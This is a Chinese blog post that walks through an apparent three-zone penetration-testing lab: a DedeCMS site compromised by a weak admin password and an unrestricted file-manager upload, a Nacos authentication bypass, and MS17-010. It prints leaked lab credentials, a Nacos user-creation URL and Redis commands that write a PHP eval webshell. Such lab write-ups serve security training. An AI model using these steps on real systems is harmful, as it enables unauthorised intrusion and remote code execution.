当前位置: 首页 > news >正文

三层渗透测试-DMZ区域 二三层设备区域

DMZ区域渗透

信息收集

首先先进行信息收集,这里我们可以选择多种的信息收集方式,例如nmap如此之类的,我的建议是,可以通过自己现有的手里小工具,例如无影,密探这种工具,进行一个信息收集。以免在信息收集的环节,遗漏一些信息,导致后续渗透任务的失败。话不多说,我们先确定靶机地址

使用ifconfig命令,查看kali攻击机与DMZ靶机相连接的网卡,这里得到一个网段地址:192.168.50.0/24

使用nmap对其网段进行扫描

扫出来一个192.168.50.128开放了8080端口,这里建议访问一下,是不是我们的目标靶机

成功访问到一个cms平台,那证明上述ip靶机已经发现。那我们还要继续进行一些常见的信息收集,利用目录扫描工具进行扫描

使用dirsearch进行工具的扫描

得到如下结果,可能会有用的

/member/login.php                                 
/robots.txt 
/data/sessions

再用我们自带的字典进行查找:这个地方我直接用无影来扫了

这里我们得到一个管理后台的地址

又得到一个与sql文件有关的txt文件
我们现在先查看此sql文件存在那些相关信息

发现FTP服务的账户与密码

以及SMTP服务器的相关密码信息。

我们现在就需要去连接一下FTP服务器,看看上面存在什么文件。

发现上面服务器存在dedecms.zip估计就是网站的源码,先把他pull下来

我们将我们得到的信息进行总结

端口开放信息:
21/tcp   open  ftp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
8080/tcp open  http-proxy目录信息:
/member/login.php  //普通用户登录                            
/robots.txt 
/data/sessions
/dede/login.php  //后台管理用户登录文件信息:
/install/sql-dfdata.txt //sql文件信息服务器相关信息:
FTP   wwwroot/1
SMTP  desdev/7260444huxiao网站源码信息:
dedecms.zip网站系统版本:
dedecms57

源码审计&GETSHELL

通过上述的信息收集,我们已经知道/dede/login.php 是网站后台管理的登录页面,那我们可以先从此处入手逐渐分析

先分析这个目录下的文件:我们的目标是为了通过分析代码,找到有无我们可以利用的漏洞点,利用管理员账户的账户与密码信息,或者是登录框存在sql注入。登陆到后台找到有无存在文件上传getshell的功能点。话不多说,先进行分析

先来到login.php

<?php
/*** 后台登陆** @version        $Id: login.php 1 8:48 2010年7月13日Z tianya $* @package        DedeCMS.Administrator* @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.* @license        http://help.dedecms.com/usersguide/license.html* @link           http://www.dedecms.com*/
require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');
if(empty($dopost)) $dopost = '';//检测安装目录安全性
if( is_dir(dirname(__FILE__).'/../install') )
{if(!file_exists(dirname(__FILE__).'/../install/install_lock.txt') ){$fp = fopen(dirname(__FILE__).'/../install/install_lock.txt', 'w') or die('安装目录无写入权限,无法进行写入锁定文件,请安装完毕删除安装目录!');fwrite($fp,'ok');fclose($fp);}//为了防止未知安全性问题,强制禁用安装程序的文件if( file_exists("../install/index.php") ) {@rename("../install/index.php", "../install/index.php.bak");}if( file_exists("../install/module-install.php") ) {@rename("../install/module-install.php", "../install/module-install.php.bak");}$fileindex = "../install/index.html";if( !file_exists($fileindex) ) {$fp = @fopen($fileindex,'w');fwrite($fp,'dir');fclose($fp);}
}
//更新服务器
require_once (DEDEDATA.'/admin/config_update.php');if ($dopost=='showad')
{include('templets/login_ad.htm');exit;
}
//检测后台目录是否更名
$cururl = GetCurUrl();
if(preg_match('/dede\/login/i',$cururl))
{$redmsg = '<div class=\'safe-tips\'>您的管理目录的名称中包含默认名称dede,建议在FTP里把它修改为其它名称,那样会更安全!</div>';
}
else
{$redmsg = '';
}//登录检测
$admindirs = explode('/',str_replace("\\",'/',dirname(__FILE__)));
$admindir = $admindirs[count($admindirs)-1];
if($dopost=='login')
{$validate = empty($validate) ? '' : strtolower(trim($validate));$svali = strtolower(GetCkVdValue());if(($validate=='' || $validate != $svali) && preg_match("/6/",$safe_gdopen)){ResetVdValue();ShowMsg('验证码不正确!','login.php',0,1000);exit;} else {$cuserLogin = new userLogin($admindir);if(!empty($userid) && !empty($pwd)){$res = $cuserLogin->checkUser($userid,$pwd);//successif($res==1){$cuserLogin->keepUser();if(!empty($gotopage)){ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);exit();}else{ShowMsg('成功登录,正在转向管理管理主页!',"index.php");exit();}}//errorelse if($res==-1){ResetVdValue();ShowMsg('你的用户名不存在!','login.php',0,1000);exit;}else{ResetVdValue();ShowMsg('你的密码错误!','login.php',0,1000);exit;}}//password emptyelse{ResetVdValue();ShowMsg('用户和密码没填写完整!','login.php',0,1000);exit;}}
}
include('templets/login.htm');


登录逻辑:

这里存在一个函数,两个参数:

checkUser()
$userid
$pwd

还注意到在代码的开头,包含了两个文件

require_once(dirname(__FILE__).'/../include/common.inc.php');
require_once(DEDEINC.'/userlogin.class.php');

我们先全局搜索checkUser()函数

这个地方定义了这个函数,我们分析以后,还是没有看见有用的信息,至少得找到数据库sql文件才行。但是经过一番查询后无果,所以我先决定尝试下弱口令。看看是否能登录进去

由于此登录框存在验证码登录,我们需要用到一个插件进行爆破。这里给出地址
地址:https://github.com/f0ng/captcha-killer-modified

配置教程:https://blog.csdn.net/weixin_72986003/article/details/144359468?ops_request_misc=%257B%2522request%255Fid%2522%253A%252242e73ae4142c000e7df9f2123c3842f0%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=42e73ae4142c000e7df9f2123c3842f0&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-9-144359468-null-null.142^v101^pc_search_result_base8&utm_term=%E9%AA%8C%E8%AF%81%E7%A0%81%E7%88%86%E7%A0%B4&spm=1018.2226.3001.4187

这里已经配置好了,我们现在就开始爆破:

成功找到弱口令密码,得到管理员账户与密码

管理员账户密码:
admin/admin

现在进行登录:查看后台存在那些功能点,根据后台功能点,我们去反向审计源代码,查看是否存在漏洞。

进入首页后,我们发现在附件管理一栏,发现存在上传文件的功能点

上述提示到,系统的上传附件/其他 类型的文件,可以通过其修改系统参数而进行更改,那我们现在就需要找到系统参数的修改功能点,添加后门文件类型。

那这个地方,在附件管理的允许上传文件的类型中,我们可以去添加我们想执行的后门文件类型,例如

.php/.jsp/.asp

等诸如此类的文件,这里我们先上传一个shell,看看是否能执行。

但是这里没有上传成功,那这个地方我们没办法再次进行利用,现在只能去审计源码,看看后台哪里还存在功能点。

审计到一处管理文件功能点:

dede/file_manage_main.php
<?php
/*** 文件查看** @version        $Id: file_manage_view.php 1 8:48 2010年7月13日Z tianya $* @package        DedeCMS.Administrator* @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.* @license        http://help.dedecms.com/usersguide/license.html* @link           http://www.dedecms.com*/
require_once(dirname(__FILE__)."/config.php");
CheckPurview('plus_文件管理器');
require_once(DEDEINC."/oxwindow.class.php");
$activepath = str_replace("..", "", $activepath);
$activepath = preg_replace("#^\/{1,}#", "/", $activepath);
if($activepath == "/") $activepath = "";
if($activepath == "") $inpath = $cfg_basedir;
else $inpath = $cfg_basedir.$activepath;//显示控制层
//更改文件名
if($fmdo=="rename")
{if($activepath=="") $ndirstring = "根目录";$ndirstring = $activepath;$wintitle = "&nbsp;文件管理";$wecome_info = "文件管理::更改文件名 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);$win->AddTitle("更改文件名,当前路径:$ndirstring");$win->AddItem("旧名称:","<input name='oldfilename' type='input' class='alltxt' id='oldfilename' size='40' value='$filename'>");$win->AddItem("新名称:","<input name='newfilename' type='input' class='alltxt' size='40' id='newfilename'>");$winform = $win->GetWindow("ok");$win->Display();
}
//新建目录
else if($fmdo=="newdir")
{if($activepath=="") $activepathname="根目录";else $activepathname=$activepath;$wintitle = "&nbsp;文件管理";$wecome_info = "&nbsp;文件管理::新建目录 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("token",make_hash());$win->AddTitle("当前目录 $activepathname ");$win->AddItem("新目录:","<input name='newpath' type='input' class='alltxt' id='newpath'>");$winform = $win->GetWindow("ok");$win->Display();
}//移动文件
else if($fmdo=="move")
{$wintitle = "&nbsp;文件管理";$wecome_info = "&nbsp;文件管理::移动文件 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);$win->AddTitle("新位置前面不加'/'表示相对于当前位置,加'/'表示相对于根目录。");$win->AddItem("被移动文件:",$filename);$win->AddItem("当前位置:",$activepath);$win->AddItem("新位置:","<input name='newpath' type='input' class='alltxt' id='newpath' size='40'>");$winform = $win->GetWindow("ok");$win->Display();
}//删除文件
else if($fmdo=="del")
{$wintitle = "&nbsp;文件管理";$wecome_info = "&nbsp;文件管理::删除文件 [<a href='file_manage_main.php?activepath=$activepath'>文件浏览器</a>]</a>";$win = new OxWindow();$win->Init("file_manage_control.php","js/blank.js","POST");$win->AddHidden("fmdo",$fmdo);$win->AddHidden("activepath",$activepath);$win->AddHidden("filename",$filename);if(@is_dir($cfg_basedir.$activepath."/$filename")){$wmsg = "你确信要删除目录:$filename 吗?";}else{$wmsg = "你确信要删除文件:$filename 吗?";}$win->AddTitle("删除文件确认");$win->AddMsgItem($wmsg,"50");$winform = $win->GetWindow("ok");$win->Display();
}//编辑文件
else if($fmdo=="edit")
{if(!isset($backurl)){$backurl = "";}$activepath = str_replace("..","",$activepath);$filename = str_replace("..","",$filename);$file = "$cfg_basedir$activepath/$filename";$content = "";if(is_file($file)){$fp = fopen($file,"r");$content = fread($fp,filesize($file));fclose($fp);$content = dede_htmlspecialchars($content);}$contentView = "<textarea name='str' id='str' style='width:99%;height:450px;background:#ffffff;'>$content</textarea>\r\n";$GLOBALS['filename'] = $filename;$path_parts  = pathinfo($filename);if ( $path_parts['extension'] == 'php' ){$GLOBALS['extension'] = 'text/x-php';} else if($path_parts['extension'] == 'js'){$GLOBALS['extension'] = 'text/javascript';} else if($path_parts['extension'] == 'css'){$GLOBALS['extension'] = 'text/css';} else {$GLOBALS['extension'] = 'text/html';}$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm");$ctp->display();
}
/*编辑文件,可视化模式
else if($fmdo=="editview")
{if(!isset($backurl)){$backurl = "";}if(!isset($ishead)){$ishead = "";}$activepath = str_replace("..","",$activepath);$filename = str_replace("..","",$filename);$file = "$cfg_basedir$activepath/$filename";$fp = fopen($file,"r");@$content = fread($fp,filesize($file));fclose($fp);if((eregi("<html",$content) && eregi("<body",$content)) || $ishead == "yes"){$contentView = GetEditor("str",$content,"500","Default","string","true");}else{$contentView = GetEditor("str",$content,"500","Default","string","false");}$GLOBALS['filename'] = $filename;$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit_view.htm");$ctp->display();
}
*/
//新建文件
else if($fmdo=="newfile")
{$content = "";$GLOBALS['filename'] = "newfile.txt";$contentView = "<textarea name='str' style='width:99%;height:400'></textarea>\r\n";$GLOBALS['token'] = make_hash();$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_edit.htm");$ctp->display();
}//上传文件
else if($fmdo=="upload")
{$ctp = new DedeTagParse();$ctp->LoadTemplate(DEDEADMIN."/templets/file_upload.htm");$ctp->display();
}

这个地方,上传的代码,并没有存在任何的上传过滤,对文件内容,以及常见的恶意文件后缀名没有进行任何的过滤,导致我们可以轻松获得shell。

成功上传shell。但是在平常的练习中,尽可能找到多的代码漏洞点。所以,我们继续审计代码,查看有无其他漏洞点。

/dede/media_main.php

在此处,我们发现,他调用了上述文件管理的功能点,所以这里也可上传shell,对应到web站点上

这里我就不在继续进行源码分析,我们先继续往下进行。

访问我们shell。使用蚁剑进行连接

shell地址:
http://192.168.50.128:8080/shell.php

成功获得flag
flag{78477a738c06620b872421af357d2cd5}

完成我们的DMZ区域的任务。

目标

拿下二层网络设备获取某服务内的flag

二层设备区域渗透

前期渗透准备

对于内网的渗透,我们前期要考虑诸多的因素,比如内网的首台机器,出不出网。这是一点,其次是内网环境到底是存在内网域或者是其他,渗透手法也不近相同。除此之外,内网的渗透其实和外网相差不大,但是在前期的信息收集等方面还是存在一定的差异。在前期渗透准备时,我们需要将我们的工具上传到我们此时已经拿到shell的服务器或者主机上。因为在宿主机上是不存在我们的渗透的工具的,如果宿主机出网,我们能够下载工具也无不可。

先连接蚁剑进行工具的上传

成功上传至我们的DMZ区域。现在就要进行信息的收集。

二层区域渗透

常见的来说,我们需要知晓在此机器上存在几张网卡,网段ip是什么。所以先行找到这个部分。

这里我们可以发现在二网卡的网段

192.68.60.0/24

所以现在就好办了,我们用我们已经上传的fscan进行扫描针对这个网段,看看能不能扫描出来一些有用的东西。

成功扫描以后,会在fscan的当前目录下生成一个result.txt文件,我们可以进行查看。

在其扫描的结果内我们可以看见,我们的fscan的POC扫描成功扫描出来一个在192.168.60.129的8848的一个nacos的一个漏洞。

由于我们的攻击机是不能直接访问到二层设备区域的,这里咱们使用frp进行反向代理,使我们的攻击机也能正常访问我们的二层区域。

在kali攻击机中开启fprs.exe(服务端),frps.toml配置文件默认为7000端口,用于和客户端进行交互

然后在kali上开启服务,

再在DMZ区域进行连接。

这里就已经成功了。我们可以尝试用kali的工具去测试一下到底是否能连接成功。

成功能ping到。我们现在就对刚才那个漏洞进行测试。

这里用nuclei也能扫描到一些漏洞

因为这些密码是加密以后的,还原还是比较困难,或者大家可以去CMD5上面去查,我没钱,就只能用漏洞重置密码了。

文章分析:
https://blog.csdn.net/weixin_51345872/article/details/127066347?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522cb0d78319a8457953a471f680a14840e%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fall.%2522%257D&request_id=cb0d78319a8457953a471f680a14840e&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~first_rank_ecpm_v1~rank_v31_ecpm-5-127066347-null-null.142^v101^pc_search_result_base8&utm_term=nacos-authentication-bypass&spm=1018.2226.3001.4187

/nacos/v1/auth/users?username=test123&password=test123

访问上述路由后会创建一个账号

账号密码:
test123/test123

成功创建,这里创建账号的时候我们使用的POST方式。并不是GET。

创建成功后,直接登录:

这是第一个flag

注意到还有其他的信息,我们这里看到。

存在一个password。当然现在不知道是哪里的密码。我们这里再用namp去扫一扫。

这里用nmap进行扫描的时候,我们也要进行代理,这里我们用proxychains进行代理。

在/etc/proxychains4.conf,添加如下配置。

这个地方就和刚才我们在frp中的攻击机地址一样即可。我们在进行nmap扫描的时候,就需要加一个前缀进行代理扫描。

例如:

这里纯扫描是不能行的,开启代理扫即可

这里扫出来了一个/phpinfo.php

我们能够得到一些敏感信息:

/var/www/html

能够得到我们的绝对路径

我们之前用fscan的方式也扫描出来一个redis的默认服务端口6379,那我们之前得到一个密码现在就起到了一个作,我们可以写一个shell进去。

config set dir /var/www/html
config set dbfilename shell.php
set x "\r\n\r\n<?php @eval($_POST['cmd']);?>"
save

前往蚁剑进行连接,此处可以使用蚁剑自行配置代理,或proxifier指定文件

在根目录下找到flag。

到这里第二层的渗透也结束了,我们现在要准备进行第三层的渗透测试

三层区域信息收集

老样子上传fscan到二层设备上

这里扫描出来一个MS17-010的漏洞

直接利用工具进行注入利用

然后再注入dll文件

这个过程中会创建一个账号密码分别为:

admin01/Config123!@#

我们进行连接

成功获得flag

相关文章:

三层渗透测试-DMZ区域 二三层设备区域

DMZ区域渗透 信息收集 首先先进行信息收集&#xff0c;这里我们可以选择多种的信息收集方式&#xff0c;例如nmap如此之类的&#xff0c;我的建议是&#xff0c;可以通过自己现有的手里小工具&#xff0c;例如无影&#xff0c;密探这种工具&#xff0c;进行一个信息收集。以免…...

Java 开发者需要了解的 PDF 基础知识

PDF 代表“可移植文档格式”&#xff08;Portable Document Format&#xff09;&#xff0c;它是全球最流行的文件格式。因此&#xff0c;Java 开发人员很可能会经常需要处理它。然而&#xff0c;与 Microsoft Word 或 HTML/XML 这样的格式相比&#xff0c;PDF 并不那么直观。理…...

基于图像处理的裂缝检测与特征提取

一、引言 裂缝检测是基础设施监测中至关重要的一项任务,尤其是在土木工程和建筑工程领域。随着自动化技术的发展,传统的人工巡检方法逐渐被基于图像分析的自动化检测系统所取代。通过计算机视觉和图像处理技术,能够高效、精确地提取裂缝的几何特征,如长度、宽度、方向、面…...

Webpack 基础入门

一、Webpack 是什么 Webpack 是一款现代 JavaScript 应用程序的静态模块打包工具。在 Web 开发中&#xff0c;我们的项目会包含各种类型的文件&#xff0c;如 JavaScript、CSS、图片等。Webpack 可以将这些文件打包成一个或多个文件&#xff0c;以便在浏览器中高效加载。它就像…...

掌握SQLite_轻量级数据库的全面指南

1. 引言 1.1 SQLite简介 SQLite 是一个嵌入式关系型数据库管理系统,它不需要单独的服务器进程或系统配置。它的设计目标是简单、高效、可靠,适用于各种应用场景,尤其是移动设备和嵌入式系统。 1.2 为什么选择SQLite 轻量级:文件大小通常在几百KB到几MB之间。无服务器架构…...

大数据处理如何入门

大数据处理的入门可以从以下几个方面入手&#xff1a; 1. 基础知识学习 在深入大数据领域之前&#xff0c;建议先掌握一些基础知识&#xff0c;包括数据类型、存储与处理的基本概念&#xff0c;以及常用的数据处理工具。例如&#xff0c;Python或Java编程语言在大数据领域应用…...

算法与数据结构(最小栈)

题目 思路 为了返回栈中的最小元素&#xff0c;我们需要额外维护一个辅助栈 min_stack&#xff0c;它的作用是记录当前栈中的最小值。 min_stack的作用&#xff1a; min_stack的栈顶元素始终是当前栈 st 中的最小值。 每当st中压入一个新元素时&#xff0c;如果这个元素小于等…...

LeetCode 1287.有序数组中出现次数超过25%的元素:遍历

【LetMeFly】1287.有序数组中出现次数超过25%的元素&#xff1a;遍历 力扣题目链接&#xff1a;https://leetcode.cn/problems/element-appearing-more-than-25-in-sorted-array/ 给你一个非递减的 有序 整数数组&#xff0c;已知这个数组中恰好有一个整数&#xff0c;它的出…...

春招项目=图床+ k8s 控制台(唬人专用)

1. 春招伊始 马上要春招了&#xff0c;一个大气的项目&#xff08;冲击波项目&#xff09;直观重要&#xff0c;虽然大家都说基础很重要&#xff0c;但是一个足够新颖的项目完全可以把你的简历添加一个足够闪亮的点。 这就不得不推荐下我的 k8s 图床了&#xff0c;去年折腾快…...

Vue 记录用户进入页面的时间、离开页面的时间并计算时长

在 Vue 项目中&#xff0c;要记录用户进入页面的时间、离开页面的时间&#xff0c;并在用户离开时计算时长并调用后端接口&#xff0c;可以借助 Vue 的生命周期钩子和浏览器的一些事件来实现。以下是具体的实现步骤和示例代码&#xff1a; 实现思路 记录进入时间&#xff1a;…...

解锁豆瓣高清海报(三)从深度爬虫到URL构造,实现极速下载

脚本地址: 项目地址: Gazer PosterBandit_v2.py 前瞻 之前的 PosterBandit.py 是按照深度爬虫的思路一步步进入海报界面来爬取, 是个值得学习的思路, 但缺点是它爬取慢, 仍然容易碰到豆瓣的 418 错误, 本文也会指出彻底解决旧版 418 错误的方法并提高爬取速度. 现在我将介绍…...

机器学习--逻辑回归

机器学习–逻辑回归 一、认知革命&#xff1a;从线性回归到逻辑回归 1.1 本质差异对比 维度线性回归逻辑回归输出类型连续值概率值 (0-1)目标函数最小二乘法极大似然估计数学表达式 y w T x b yw^Txb ywTxb p 1 1 e − ( w T x b ) p\frac{1}{1e^{-(w^Txb)}} p1e−(wTxb…...

gradio创建openai前端对接deepseek等模型流式输出markdown格式文本

环境 gradio3.50.2 openai1.63.1代码 import openai import gradio as gr#导入gradio的包api_key "sk-**a8" api_base "https://api.deepseek.com/v1"import gradio as gr import openai from typing import List, Any, Iteratorclient openai.OpenAI…...

【LeetCode Hot100】最大子数组和|动态规划/贪心,Java实现!图解+代码,小白也能秒懂!

&#x1f4bb; [LeetCode Hot100] 最大子数组和&#xff5c;动态规划/贪心&#xff0c;Java实现&#xff01;图解代码&#xff0c;小白也能秒懂&#xff01; ✏️本文对应题目链接&#xff1a;最大子数组和 &#x1f4cc; 题目描述 给定一个整数数组 nums&#xff0c;找到一个…...

【Go语言快速上手】第二部分:Go语言进阶之网络编程

文章目录 前言&#xff1a;网络编程一、TCP/UDP 编程&#xff1a;net 包的使用1. TCP 编程1.1 TCP 服务器1.2 TCP 客户端 2. UDP 编程2.1 UDP 服务器2.2 UDP 客户端 二、HTTP 编程&#xff1a;net/http 包的使用&#xff0c;编写 HTTP 服务器和客户端2.1 HTTP 服务器2.2 HTTP 客…...

AI法理学与责任归属:技术演进下的法律重构与伦理挑战

文章目录 引言:智能时代的新型法律困境一、AI技术特性对传统法理的冲击1.1 算法黑箱与可解释性悖论1.2 动态学习系统的责任漂移1.3 多智能体协作的责任稀释二、AI法理学的核心争议点2.1 法律主体资格认定2.2 因果关系的技术解构2.3 过错标准的重新定义三、责任归属的实践案例分…...

Linux探秘坊-------8.进程详解

1.概念详解 1.运行&&阻塞&&挂起 内容基础&#xff1a;方框中的就是调度队列&#xff0c;是一个 双向队列&#xff0c;每一个元素是PCB其对应的代码数据 1.运行 只要进程 在调度队列中&#xff0c;进程的状态就是运行&#xff08;running&#xff09;. 2.阻塞…...

C#使用文件读写操作实现仙剑五前传称号存档修改

手把手教学仙剑五前传 称号存档修改器 首先找到 Pal5Q所在目录的save\global.sav 文件,这是一个只有488字节的文件,这里存放称号对应的编号ID,以及是否已获得该称号,1为已获取称号,0为未获取称号 [称号:是否获取]这是一个键值对 称号的编号ID是一个Int32数字,使用C#的方法Bi…...

Kubernetes知识点总结(十)

什么是 K8s 的 namespace&#xff1f; 在 K8s 中&#xff0c;Namespace&#xff08;名字空间&#xff09;提供了一种机制&#xff0c;将同一集群中的资源划分为相互隔离的组&#xff0c; 是在多个用户之间划分集群资源的一种方法。 名字空间作用域仅针对带有名字空间的对…...

【达梦数据库】disql工具参数绑定

前言 在达梦数据库的使用过程中尽管管理工具很好用&#xff0c;但是命令行工具还是有着得天独厚的优势&#xff0c;但是在参数绑定方面就没有管理工具做的更加完美&#xff0c;现在就汇总下disql 工具参数绑定的常用几种方式 disql 参数绑定 使用 ? select * from v$dm_in…...

箭头函数的this指向谁

先看1个重要原则&#xff1a; 由Vue管理的函数&#xff0c;一定不要写箭头函数&#xff0c;箭头函数的this就不再是Vue实例了 箭头函数的 this 指向在定义时确定&#xff0c;继承自外层作用域&#xff08;即定义时的上下文&#xff09;的 this&#xff0c;且无法通过 call、app…...

Node.js技术原理分析系列——Node.js调试能力分析

本文由体验技术团队屈金雄原创。 Node.js 是一个开源的、跨平台的 JavaScript 运行时环境&#xff0c;它允许开发者在服务器端运行 JavaScript 代码。Node.js 是基于 Chrome V8引擎构建的&#xff0c;专为高性能、高并发的网络应用而设计&#xff0c;广泛应用于构建服务器端应…...

网络基础 【UDP、TCP】

1.UDP 首先我们学习UDP和TCP协议 要从这三个问题入手 1.报头和有效载荷如何分离、有效载荷如何交付给上一层的协议&#xff1f;2.认识报头3.学习该协议周边的问题 UDP报头 UDP我们先从示意图来讲解&#xff0c;认识报头。 UDP协议首部有16位源端口号&#xff0c;16位目的端…...

python旅游推荐系统+爬虫+可视化(协同过滤算法)

✅️基于用户的协同过滤算法 ✅️有后台管理 ✅️2w多数据集 这个旅游数据分析推荐系统采用了Python语言、Django框架、MySQL数据库、requests库进行网络爬虫开发、机器学习中的协同过滤算法、ECharts数据可视化技术&#xff0c;以实现从网站抓取旅游数据、个性化推荐和直观展…...

数据结构 树的存储和遍历

一、树的定义 树的定义 树型结构是⼀类重要的⾮线性数据结构。 • 有⼀个特殊的结点&#xff0c;称为根结点&#xff0c;根结点没有前驱结点。 • 除根结点外&#xff0c;其余结点被分成M个互不相交的集合T1 、T2 、...、Tm T&#xff0c;其中每⼀个集合⼜是⼀棵树&#xff0c…...

《解锁自然语言处理:让公众正确拥抱AI语言魔法》

在当今数字化浪潮中&#xff0c;自然语言处理&#xff08;NLP&#xff09;技术作为人工智能领域的璀璨明珠&#xff0c;正以惊人的速度融入我们的生活。从智能语音助手到智能客服&#xff0c;从机器翻译到内容创作辅助&#xff0c;NLP技术无处不在。然而&#xff0c;如同任何强…...

qt实习总结

创建一个滑动条 QSlider *slider new QSlider(Qt::Vertical); //创建一个垂直方向的 进度条 带有上下箭头的输入框 QSpinBox 提供了一个带有上下箭头的输入框 垂直 水平怎么说 horizontal vetical 布局知识 BtnLayout->addWidget(AmendBtn); BtnLayout->addWidg…...

HTTP的“对话”逻辑:请求与响应如何构建数据桥梁?

一、前言 作为现代互联网通信的基石&#xff0c;HTTP协议定义了客户端与服务器之间的“对话规则”。每一次网页加载、API调用或文件传输的背后&#xff0c;都离不开精心构造的HTTP请求与响应。请求中封装了用户的意图——从请求方法、资源路径到提交的数据&#xff1b;响应则承…...

Docker 镜像标签使用

写在前面 当使用命令 docker pull mysql 拉取镜像时&#xff0c;其实等价于如下命令 docker pull mysql:latest latest 是默认的标签&#xff0c;字面上理解为最新版本的镜像&#xff0c;实质上 latest 只是镜像的标签名称&#xff0c;跟具体某个版本号地位一样&#xff0c;…...

C#异步/多线程编程中Task对象强大的功能介绍。

在 C# 的异步编程中&#xff0c;Task 是一个非常重要的类&#xff0c;它表示一个异步操作。Task 类提供了许多方法&#xff0c;用于管理、控制和组合异步操作。以下是 Task 类中一些常用方法的详细讲解及其功能。 1. Task.Run 功能&#xff1a;将指定的代码块调度到线程池中异步…...

DDD聚合在 ASP.NET Core中的实现

在ASP.NET Core中实现DDD&#xff08;领域驱动设计&#xff0c;Domain-Driven Design&#xff09;聚合通常涉及到几个关键步骤&#xff0c;包括定义领域模型、实现领域服务、使用仓储模式等。以下是如何在ASP.NET Core应用中实现DDD聚合的一些步骤和示例。 1. 定义领域模型 首…...

docker push镜像到阿里云

阿里云账号 阿里云-计算&#xff0c;为了无法计算的价值 开通个人镜像容器 进入控制台&#xff0c;试用容器 实例列表界面 点击上图中的个人&#xff0c;个人版特性 创建个人版&#xff1a; 个人版实例界面&#xff1a; 设置密码 个人版实例&#xff1a; 创建镜像仓库 如上…...

移动通信发展史

概念解释 第一代网络通信 1G 第二代网络通信 2G 第三代网络通信 3G 第四代网络通信 4G 4g网络有很高的速率和很低的延时——高到500M的上传和1G的下载 日常中的4G只是用到了4G技术 运营商 移动-从民企到国企 联通-南方教育口有人 电信 铁通&#xff1a;成立于 2000 年…...

Transformer笔记

Transformer笔记 文章目录 Transformer笔记模型架构核心技术多头注意力机制概念数学概念单头注意力机制代码 基于位置的前馈网络残差连接和层规范化 编码器解码器 特点&#xff1a;Transformer模型完全基于注意力机制&#xff0c;没有任何卷积层或循环神经网络。之前Transforme…...

【学习资源】时间序列数据分析方法(1)

时间序列数据分析是一个有趣的话题&#xff0c;让我们多花一些时间来研究。此篇为第一篇文章。主要介绍特征提取方法、深度学习时序数据分析模型、参考资源。期望能帮助大家解决工业领域的相关问题。 1 特征提取方法&#xff1a;信号处理 (来源:INTELLIGENT FAULT DIAGNOSIS A…...

PHP 文件与目录操作

PHP 学习资料 PHP 学习资料 PHP 学习资料 在 PHP 编程中&#xff0c;文件与目录操作是一项基础且重要的技能。无论是处理用户上传文件、生成日志&#xff0c;还是管理项目中的各类资源&#xff0c;都离不开对文件和目录的操作。PHP 提供了丰富的内置函数&#xff0c;方便开发…...

PostgreSQL认证指南

PostgreSQL 作为一款强大的开源关系型数据库&#xff0c;深受开发者和企业的青睐。获得 PostgreSQL 专家认证&#xff0c;不仅能提升个人在数据库领域的专业能力&#xff0c;还能为职业发展增添有力筹码。下面为大家详细介绍 PostgreSQL 专家认证的学习路径。 一、深入理解基础…...

hive全量迁移脚本

#!/bin/bash #场景&#xff1a;数据在同一库下&#xff0c;并且hive是内部表&#xff08;前缀的hdfs地址是相同的&#xff09;#1.读取一个文件&#xff0c;获取表名#echo "时间$dt_jian_2-------------------------" >> /home/hadoop/qianyi_zengliang/rs.txt#…...

Qt5开发入门指南:从零开始掌握跨平台开发

目录 Qt框架概述 开发环境搭建 基础语法与核心机制 第一个Qt窗口程序 常见问题解答 一、Qt框架概述 1.1 什么是Qt&#xff1f; Qt是一个1995年由挪威Trolltech公司开发的跨平台C图形用户界面应用程序框架。最新Qt5版本主要包含&#xff1a; GUI模块&#xff1a;支持Wind…...

WPF的Prism框架的使用

安装Prism.DryIoc库&#xff1a; Prism的区域和模块化&#xff1a; 一个区域可以显示一个用户控件 一个模块就是一个项目&#xff0c;也就是一个类库 动态切换用户控件的案例&#xff1a; <Grid><Grid.RowDefinitions><RowDefinition Height"auto"…...

【机器学习】线性回归 线性回归模型的损失函数 MSE RMSE MAE R方

【机器学习系列】 KNN算法 KNN算法原理简介及要点 特征归一化的重要性及方式线性回归算法 线性回归与一元线性回归 线性回归模型的损失函数 多元线性回归 多项式线性回归 线性回归模型的损失函数 V1.0损失函数的计算方法损失函数的分类MSE (Mean Squared Error)RMSE (Root Mea…...

服务器部署DeepSeek,通过Ollama+open-webui部署

1. 安装ollama 1.1. linux 安装 Ollama是目前常用的AI模式部署的第三方工具&#xff0c;能一键部署deepSeek Ollama官方网址https://ollama.com/ 选择Download下载对应的服务版本 服务器选择Linux&#xff0c;下面是下载代码 curl -fsSL https://ollama.com/install.…...

Java 大视界 -- 开源社区对 Java 大数据发展的推动与贡献(91)

